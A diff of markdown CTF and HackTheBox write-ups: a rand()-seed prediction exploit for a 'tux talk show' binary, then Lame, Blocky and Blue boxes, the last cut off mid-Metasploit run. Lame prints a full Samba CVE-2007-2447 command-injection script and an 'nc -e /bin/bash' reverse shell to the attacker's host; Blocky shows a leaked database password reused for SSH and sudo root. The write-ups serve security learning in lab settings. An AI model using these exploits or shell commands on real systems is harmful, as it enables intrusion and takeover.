21 + 28 + + + +Now let's pipe it into the stdin of our binary: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep] + → ./exploit | ./prepared + 0 days without an incident. + 1 days without an incident. + 2 days without an incident. + 3 days without an incident. + 4 days without an incident. + 5 days without an incident. + 6 days without an incident. + 7 days without an incident. + 8 days without an incident. + 9 days without an incident. + 10 days without an incident. + 11 days without an incident. + 12 days without an incident. + 13 days without an incident. + 14 days without an incident. + 15 days without an incident. + 16 days without an incident. + 17 days without an incident. + 18 days without an incident. + 19 days without an incident. + 20 days without an incident. + 21 days without an incident. + 22 days without an incident. + 23 days without an incident. + 24 days without an incident. + 25 days without an incident. + 26 days without an incident. + 27 days without an incident. + 28 days without an incident. + 29 days without an incident. + 30 days without an incident. + 31 days without an incident. + 32 days without an incident. + 33 days without an incident. + 34 days without an incident. + 35 days without an incident. + 36 days without an incident. + 37 days without an incident. + 38 days without an incident. + 39 days without an incident. + 40 days without an incident. + 41 days without an incident. + 42 days without an incident. + 43 days without an incident. + 44 days without an incident. + 45 days without an incident. + 46 days without an incident. + 47 days without an incident. + 48 days without an incident. + 49 days without an incident. + How very unpredictable. Level Cleared + [1] 2904178 done ./exploit | + 2904179 segmentation fault (core dumped) ./prepared + + + +And that's it! we have been able to guess the random number 50 times. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/3/tux.md b/3/tux.md new file mode 100644 index 0000000..4720599 --- /dev/null +++ b/3/tux.md @@ -0,0 +1,278 @@ +# hsctf 2019 tux talk show + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow + + --2021-03-07 13:24:34-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow [following] + --2021-03-07 13:24:35-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 21112 (21K) [application/octet-stream] + Saving to: ‘tuxtalkshow’ + + tuxtalkshow 100%[================================================================>] 20.62K --.-KB/s in 0.003s + + 2021-03-07 13:24:35 (5.81 MB/s) - ‘tuxtalkshow’ saved [21112/21112] + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → file tuxtalkshow + tuxtalkshow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → chmod +x tuxtalkshow + + + + +` ![]() + +## Solution + +First let's run pwn checksec on the binary file before executing it to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → pwn checksec tuxtalkshow + [*] '/home/nothing/binexp/3/tux/tuxtalkshow' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./tuxtalkshow + Welcome to Tux Talk Show 2019!!! + Enter your lucky number: 13371337 + + + +So here we have a 64bit binary with PIE enabled. When we run it it prompts us for a number. So let's check it out from inside of ghidra: + +![](1.png) + +And here we get a gigantic main function: + + + undefined8 main(void) + + { + int iVar1; + time_t tVar2; + basic_ostream *pbVar3; + long in_FS_OFFSET; + int local_290; + int local_28c; + int local_288; + int local_284; + undefined4 local_280; + undefined4 local_27c; + undefined4 local_278; + undefined4 local_274; + undefined4 local_270; + undefined4 local_26c; + int local_268 [8]; + basic_string local_248 [32]; + basic_istream local_228 [520]; + long local_20; + + local_20 = *(long *)(in_FS_OFFSET + 0x28); + std::basic_ifstream>::basic_ifstream((char *)local_228,0x1020b0); + tVar2 = time((time_t *)0x0); + srand((uint)tVar2); + /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ + pbVar3 = std::operator<<((basic_ostream *)std::cout,"Welcome to Tux Talk Show 2019!!!"); + std::basic_ostream>::operator<< + ((basic_ostream> *)pbVar3, + std::endl>); + std::operator<<((basic_ostream *)std::cout,"Enter your lucky number: "); + std::basic_istream>::operator>> + ((basic_istream> *)std::cin,&local;_290); + local_280 = 0x79; + local_27c = 0x12c97f; + local_278 = 0x135f0f8; + local_274 = 0x74acbc6; + local_270 = 0x56c614e; + local_26c = 0xffffffe2; + local_268[0] = 0x79; + local_268[1] = 0x12c97f; + local_268[2] = 0x135f0f8; + local_268[3] = 0x74acbc6; + local_268[4] = 0x56c614e; + local_268[5] = 0xffffffe2; + local_28c = 0; + while (local_28c < 6) { + iVar1 = rand(); + local_268[local_28c] = local_268[local_28c] - (iVar1 % 10 + -1); + local_28c = local_28c + 1; + } + local_288 = 0; + local_284 = 0; + while (local_284 < 6) { + local_288 = local_288 + local_268[local_284]; + local_284 = local_284 + 1; + } + if (local_288 == local_290) { + std::__cxx11::basic_string,std::allocator>::basic_string(); + /* try { // try from 00101419 to 00101448 has its CatchHandler @ 0010147f */ + std::operator>>(local_228,local_248); + pbVar3 = std::operator<<((basic_ostream *)std::cout,local_248); + std::basic_ostream>::operator<< + ((basic_ostream> *)pbVar3, + std::endl>); + std::__cxx11::basic_string,std::allocator>::~basic_string + ((basic_string,std::allocator> *)local_248); + } + std::basic_ifstream>::~basic_ifstream + ((basic_ifstream> *)local_228); + if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { + /* WARNING: Subroutine does not return */ + __stack_chk_fail(); + } + return 0; + } + + +Here we cansee that it starts off by scanning the contents of flag.txt and saves it into **local_228**. Then it initialized an integer array with size entries, although the decompilation only shows 4. So let's look at the assembly code: + + + 001012bc e8 8f fd CALL operator>> undefined operator>>(basic_istre + ff ff + } // end try from 0010127e to 001012c0 + 001012c1 c7 85 88 MOV dword ptr [RBP + local_280],0x79 + fd ff ff + 79 00 00 00 + 001012cb c7 85 8c MOV dword ptr [RBP + local_27c],0x12c97f + fd ff ff + 7f c9 12 00 + 001012d5 c7 85 90 MOV dword ptr [RBP + local_278],0x135f0f8 + fd ff ff + f8 f0 35 01 + 001012df c7 85 94 MOV dword ptr [RBP + local_274],0x74acbc6 + fd ff ff + c6 cb 4a 07 + 001012e9 c7 85 98 MOV dword ptr [RBP + local_270],0x56c614e + fd ff ff + 4e 61 6c 05 + 001012f3 c7 85 9c MOV dword ptr [RBP + local_26c],0xffffffe2 + fd ff ff + e2 ff ff ff + + + +We also see that it uses time as a seed. It performs an algorithm where it will generate random numbers by using time a sa seed to edit the values of array, and then it accumulate all of those values to end up with the number we are supposed to guess. Since the rand function is directly based off of the seed, and since the seed is the time, we know what the values the rand function will output, and thus end up with the following C program: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → vim exploit.c + + + + + ****#include <****stdio.h> + #include <****stdlib.h> + #include <****stdint.h> + #include <****time.h> + + int main() + { + int array[6]; + int i, output; + uint32_t randVal, ans; + + srand(time(0)); + + + i = 0; + + array[0] = 0x79; + array[1] = 0x12c97f; + array[2] = 0x135f0f8; + array[3] = 0x74acbc6; + array[4] = 0x56c614e; + array[5] = 0xffffffe2; + + while (i < 6) + { + randVal = rand(); + array[i] = array[i] - ((randVal % 10) - 1); + i += 1; + } + + i = 0; + output = 0; + + while (i < 6) + { + output = output + array[i]; + i += 1; + } + + + printf("%d\n", output); + } + + +Then we compile our C code: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → gcc exploit.c -o exploit + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./exploit + + + +let's try it on the binary file: + + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./exploit + 234874834 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./exploit + 234874839 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./exploit + 234874828 + + [ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux] + → ./exploit | ./tuxtalkshow + Welcome to Tux Talk Show 2019!!! + Enter your lucky number: flag{g0tt3m_boyz} + + + +And that's it ! We have been able to print out the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/Easy/0.md b/Easy/0.md new file mode 100644 index 0000000..4d1202b --- /dev/null +++ b/Easy/0.md @@ -0,0 +1,145 @@ +# BOXNAME Writeup + +![](img/0.png) + +## Introduction : + +Boxname is an easy box released back in MONTH YEAR. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + + +## **Part 2 : Getting User Access** + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/1_graph.png) + diff --git a/Easy/1.md b/Easy/1.md new file mode 100644 index 0000000..dd1f5a8 --- /dev/null +++ b/Easy/1.md @@ -0,0 +1,211 @@ +# Lame Writeup + +![](img/0.png) + +## Introduction : + +**Lame** is an easy Linux box which was released back in March 2017. It features a common vulnerability which could be exploited using a metasploit module. + +## **Requirerements :** + + * [Linux commands](../../CS/LTerm.html) + * [Nmap](../../CS/nmap.html) + * [Searchsploit](../../CS/searchsploit.html) + * [Python](../../CS/python.html) + * [Netcat](../../CS/netcat.html) + + + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [/home/nihilist] → nmap -sC -sV 10.10.10.3 + Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-11 10:55 EDT + Nmap scan report for 10.10.10.3 + Host is up (0.27s latency). + Not shown: 996 filtered ports + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 2.3.4 + |_ftp-anon: Anonymous FTP login allowed (FTP code 230) + | ftp-syst: + | STAT: + | FTP server status: + | Connected to 10.10.14.6 + | Logged in as ftp + | TYPE: ASCII + | No session bandwidth limit + | Session timeout in seconds is 300 + | Control connection is plain text + | Data connections will be plain text + | vsFTPd 2.3.4 - secure, fast, stable + |_End of status + 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) + | ssh-hostkey: + | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) + |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) + 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) + 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Host script results: + |_clock-skew: mean: 3h44m23s, deviation: 0s, median: 3h44m23s + | smb-os-discovery: + | OS: Unix (Samba 3.0.20-Debian) + | NetBIOS computer name: + | Workgroup: WORKGROUP\x00 + |_ System time: 2019-06-11T10:39:56-04:00 + |_smb2-time: Protocol negotiation failed (SMB2) + Service detection performed. + + Nmap done: 1 IP address (1 host up) scanned in 98.43 seconds + + +Here we can see that the ports 21, 22, 139 and 445 are opened The port 21 is running an outdated version of vsftpd (here: v2.3.4 current:v3.0.3), this is going to be our main focus for the next part. + +## **Part 2 : Getting User Access** + +We know that port 21 is running vsftpd 2.3.4, let's see if there are exploits we can use using the **searchsploit** command: + + + λ nihilist [~] → searchsploit vsftpd 2.3.4 + ------------------------------------------------------ ------------------------------ + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------ ------------------------------ + vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)| exploits/unix/remote/17491.rb + ------------------------------------------------------ ------------------------------ + Shellcodes: No Result + + +We could use the metasploit module exploiting the present CVE-2007-2447 But we can also use the following [python script](https://github.com/Jack-Barradell/exploits/blob/master/CVE-2007-2447/cve-2007-2447.py) in order to exploit our target machine. + + + # CVE-2007-2447 - RCE in Samba + + import getopt + import sys + from smb import SMBConnection + + + def usage(): + print('CVE-2007-2447 - RCE In Samba 2.0.20 < 3.0.25rc3') + print() + print('Flags:') + print('{} - Target Host'.format('\t-t --target'.ljust(20,' '))) + print('{} - Target Port'.format('\t-p --port'.ljust(20,' '))) + print('{} - Command to execute'.format('\t-c --cmd'.ljust(20,' '))) + print() + + + def main(): + try: + opts,args = getopt.getopt(sys.argv[1:],'t:p:c:',['target','port','cmd']) + except getopt.GetoptError as e: + print(str(e)) + usage() + sys.exit(1) + target = None + port = None + cmd = None + for o,a in opts: + if o in ('-t','--target'): + target = a + elif o in ('-p','--port'): + try: + port = int(a) + except ValueError: + print('[!] Invalid port provided, must be an int') + usage() + sys.exit(1) + elif o in ('-c','--cmd'): + cmd = a + else: + print('[!] Invalid option {} with value: {}'.format(o,a)) + usage() + sys.exit(1) + + missing_param = False + + if target is None: + print('[!] Must provide target') + missing_param = True + + if port is None: + print('[!] Must provide port') + missing_param = True + + if cmd is None: + print('[!] Must provide command') + missing_param = True + + if missing_param: + usage() + sys.exit(1) + + print('[+] Generating exploit') + exploit = '/=`nohup {}`'.format(cmd) + + c = SMBConnection.SMBConnection(exploit, '', '', '') + + try: + c.connect(target, port, timeout=1) + except: + print('[+] Exploit sent') + + + if __name__ == '__main__': + main() + + +With which we are now able to run using the following commands within 2 separate terminals : + +_Terminal n°1 :_ + + + λ nihilist [~] → nc -lvnp 4444 + + +_Terminal n°2 :_ + + + λ nihilist [~] → python3 cve-2007-2447.py -t 10.10.10.3 -p 445 -c "nc -e /bin/bash 10.10.14.10 4444" + [+] Generating exploit + [+] Exploit sent + + +Which gives us access to the machine. Through a reverse shell back to our local address **10.10.14.10** at the listening **4444** port. within our first Terminal. + +_Terminal n°1 :_ + + + λ nihilist [~] → nc -lvnp 4444 + connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 43358 + # id + uid=0(root) gid=0(root) + + +We now have not only user access, but also an Elevated-privilege Reverse Shell which is going to allow us to read both the user and root flags. + +## **Part 3 : The Root Access** + +All we need to do is print out both the user flag and root flag since we are now logged on as root. + + + # id + uid=0(root) gid=0(root) + + #cat /home/makis/user.txt + [REDACTED] + + #cat /root/root.txt + [REDACTED] + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/1_graph.png) + diff --git a/Easy/10.md b/Easy/10.md new file mode 100644 index 0000000..f8ebf9a --- /dev/null +++ b/Easy/10.md @@ -0,0 +1,292 @@ +# Blocky Writeup + +![](img/10.png) + +## Introduction : + +Blocky was an easy Linux Box that was released back in July 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.37 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-14 10:54 CET + Nmap scan report for 10.10.10.37 + Host is up (0.085s latency). + Not shown: 996 filtered ports + PORT STATE SERVICE VERSION + 21/tcp open ftp ProFTPD 1.3.5a + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA) + | 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA) + |_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-generator: WordPress 4.8 + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: BlockyCraft - Under Construction! + 8192/tcp closed sophos + Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds + + + +## **Part 2 : Getting User Access** + +Looking at the results, we see that port 80 is serving the http service, with wordpress. We can therefore use the wordpress scanning command called **wpscan**. + + + λ nihilist [ 10.10.14.48/23 ] [~] → wpscan --url 10.10.10.37 --enumerate + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _ | _ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.4 + + @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_ + _______________________________________________________________ + + [i] Updating the Database ... + [i] Update completed. + + [+] URL: http://10.10.10.37/ + [+] Started: Thu Nov 14 11:04:57 2019 + + Interesting Finding(s): + + [+] http://10.10.10.37/ + | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] http://10.10.10.37/xmlrpc.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + | References: + | - http://codex.wordpress.org/XML-RPC_Pingback_API + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner + | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access + + [+] http://10.10.10.37/readme.html + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + [+] Upload directory has listing enabled: http://10.10.10.37/wp-content/uploads/ + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + + [+] http://10.10.10.37/wp-cron.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 60% + | References: + | - https://www.iplocation.net/defend-wordpress-from-ddos + | - https://github.com/wpscanteam/wpscan/issues/1299 + + [+] WordPress version 4.8 identified (Insecure, released on 2017-06-08). + | Found By: Rss Generator (Passive Detection) + | - http://10.10.10.37/index.php/feed/, https://wordpress.org/?v=4.8 + | - http://10.10.10.37/index.php/comments/feed/, https://wordpress.org/?v=4.8 + + [+] WordPress theme in use: twentyseventeen + | Location: http://10.10.10.37/wp-content/themes/twentyseventeen/ + | Last Updated: 2019-05-07T00:00:00.000Z + | Readme: http://10.10.10.37/wp-content/themes/twentyseventeen/README.txt + | [!] The version is out of date, the latest version is 2.2 + | Style URL: http://10.10.10.37/wp-content/themes/twentyseventeen/style.css?ver=4.8 + | Style Name: Twenty Seventeen + | Style URI: https://wordpress.org/themes/twentyseventeen/ + | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... + | Author: the WordPress team + | Author URI: https://wordpress.org/ + | + | Found By: Css Style In Homepage (Passive Detection) + | + | Version: 1.3 (80% confidence) + | Found By: Style (Passive Detection) + | - http://10.10.10.37/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3' + + [+] Enumerating Vulnerable Plugins (via Passive Methods) + + [i] No plugins Found. + + [+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods) + Checking Known Locations - Time: 00:00:07 <====================================> (316 / 316) 100.00% Time: 00:00:07 + [+] Checking Theme Versions (via Passive and Aggressive Methods) + + [i] No themes Found. + + [+] Enumerating Timthumbs (via Passive and Aggressive Methods) + Checking Known Locations - Time: 00:00:53 <==================================> (2575 / 2575) 100.00% Time: 00:00:53 + + [i] No Timthumbs Found. + + [+] Enumerating Config Backups (via Passive and Aggressive Methods) + Checking Config Backups - Time: 00:00:00 <=======================================> (21 / 21) 100.00% Time: 00:00:00 + + [i] No Config Backups Found. + + [+] Enumerating DB Exports (via Passive and Aggressive Methods) + Checking DB Exports - Time: 00:00:00 <===========================================> (36 / 36) 100.00% Time: 00:00:00 + + [i] No DB Exports Found. + + [+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected) + Brute Forcing Attachment IDs - Time: 00:00:03 <================================> (100 / 100) 100.00% Time: 00:00:03 + + [i] No Medias Found. + + [+] Enumerating Users (via Passive and Aggressive Methods) + Brute Forcing Author IDs - Time: 00:00:00 <======================================> (10 / 10) 100.00% Time: 00:00:00 + + [i] User(s) Identified: + + [+] notch + | Found By: Author Posts - Author Pattern (Passive Detection) + | Confirmed By: + | Wp Json Api (Aggressive Detection) + | - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page;=1 + | Author Id Brute Forcing - Author Pattern (Aggressive Detection) + | Login Error Messages (Aggressive Detection) + + [+] Notch + | Found By: Rss Generator (Passive Detection) + | Confirmed By: Login Error Messages (Aggressive Detection) + + [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up. + + [+] Finished: Thu Nov 14 11:06:14 2019 + [+] Requests Done: 3119 + [+] Cached Requests: 10 + [+] Data Sent: 768.632 KB + [+] Data Received: 14.199 MB + [+] Memory used: 224.906 MB + [+] Elapsed time: 00:01:17 + + +We see that we have an username to work with, named **notch** We will now run the gobuster command to see if we are able to enumerate interesting directories. + + + λ nihilist [ 10.10.14.48/23 ] [~] → gobuster -e -u 10.10.10.37 -w wordlist.txt + + +Looking at the results we see that gobuster found the directory named **/plugins** We now browse to the folder gobuster found to see what we can enumerate there. + +![](prg/10_001.png) + +We will now download the files that are available for us here, in order to examine them First of all we'll open up the BlockyCore.jar using an archive explorer and then extract the blockycore.class located inside /com/myfirstplugin/ + +Once the .class file is extracted all we need to do to print out it's contents is to use the **jad** command. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Blocky] → jad BlockyCore.class + Parsing BlockyCore.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported) + Generating BlockyCore.jad + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Blocky] → cat BlockyCore.jad + // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov. + // Jad home page: http://www.geocities.com/kpdus/jad.html + // Decompiler options: packimports(3) + // Source File Name: BlockyCore.java + + package com.myfirstplugin; + + + public class BlockyCore + { + + public BlockyCore() + { + sqlHost = "localhost"; + sqlUser = "root"; + sqlPass = "8YsqfCTnvxAUeduzjNSXe22"; + } + + public void onServerStart() + { + } + + public void onServerStop() + { + } + + public void onPlayerJoin() + { + sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!"); + } + + public void sendMessage(String s, String s1) + { + } + + public String sqlHost; + public String sqlUser; + public String sqlPass; + } + + +We now have credentials to work with : **notch : 8YsqfCTnvxAUeduzjNSXe22** Our previous nmap scan returned that 22 ssh port is opened. + +## **Part 3 : Getting Root Access** + +We should be able to ssh into the machine with the aforementionned credentials. + + + λ nihilist [ 10.10.14.48/23 ] [~] → ssh notch@10.10.10.37 + notch@10.10.10.37 password: + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 7 packages can be updated. + 7 updates are security updates. + + + Last login: Sun Dec 24 09:34:35 2017 + notch@Blocky:~$ whoami + notch + notch@Blocky:~$ uname -a + Linux Blocky 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + notch@Blocky:~$ cat /home/notch/user.txt + 59XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +We have been able to get our user flag ! now we just need to escalate privileges, typing sudo -l shows us that we are able to type the command **sudo su** to spawn a root shell. + + + notch@Blocky:~$ sudo -l + [sudo] password for notch: + Matching Defaults entries for notch on Blocky: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User notch may run the following commands on Blocky: + (ALL : ALL) ALL + notch@Blocky:~$ cat /root/root.txt + cat: /root/root.txt: Permission denied + notch@Blocky:~$ sudo su + root@Blocky:/home/notch# cat /root/root.txt + 0aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print the root flag thanks to a simple sudo -l command. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/10_graph.png) + diff --git a/Easy/11.md b/Easy/11.md new file mode 100644 index 0000000..260bea8 --- /dev/null +++ b/Easy/11.md @@ -0,0 +1,165 @@ +# Blue Writeup + +![](img/11.png) + +## Introduction : + +Blue was an easy Windows box released back in July 2017. It features a vulnerability onto which the well-known exploit "EternalBlue" can be used. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [~] → nmap -sC -sV 10.10.10.40 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-15 21:24 CET + Nmap scan report for 10.10.10.40 + Host is up (0.083s latency). + Not shown: 991 closed ports + PORT STATE SERVICE VERSION + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) + 49152/tcp open msrpc Microsoft Windows RPC + 49153/tcp open msrpc Microsoft Windows RPC + 49154/tcp open msrpc Microsoft Windows RPC + 49155/tcp open msrpc Microsoft Windows RPC + 49156/tcp open msrpc Microsoft Windows RPC + 49157/tcp open msrpc Microsoft Windows RPC + Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 2m15s, deviation: 2s, median: 2m14s + | smb-os-discovery: + | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) + | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional + | Computer name: haris-PC + | NetBIOS computer name: HARIS-PC\x00 + | Workgroup: WORKGROUP\x00 + |_ System time: 2019-11-15T20:28:09+00:00 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2019-11-15T20:28:07 + |_ start_date: 2019-11-15T14:45:46 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 76.50 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan result picked up a combination of smb and Windows 7 SP1 7601 , this may ring a bell with the leaked NSA tool called "EternalBlue", which takes advantage of the vulnerability affecting SMBv1 which is now known to mishandle special packets from attackers, this CVE has been fixed with the MS17-010 patch. Let's see if it works on this box. + + + msf5 > search eternalblue + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution + 1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection + 2 exploit/windows/smb/doublepulsar_rce 2017-04-14 great Yes DOUBLEPULSAR Payload Execution and Neutralization + 3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption + 4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ + 5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution + + + + + + msf5 > use exploit/windows/smb/ms17_010_eternalblue + msf5 exploit(windows/smb/ms17_010_eternalblue) > show options + + Module options (exploit/windows/smb/ms17_010_eternalblue): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 445 yes The target port (TCP) + SMBDomain . no (Optional) The Windows domain to use for authentication + SMBPass no (Optional) The password for the specified username + SMBUser no (Optional) The username to authenticate as + VERIFY_ARCH true yes Check if remote architecture matches exploit Target. + VERIFY_TARGET true yes Check if remote OS matches exploit Target. + + + Exploit target: + + Id Name + -- ---- + 0 Windows 7 and Server 2008 R2 (x64) All Service Packs + + + msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 + RHOSTS => 10.10.10.40 + + + +## **Part 3 : The Root Access** + +Let's see if we can exploit this machine using the EternalBlue metasploit module. + + + msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40 + RHOSTS => 10.10.10.40 + msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit + + [*] Started reverse TCP handler on 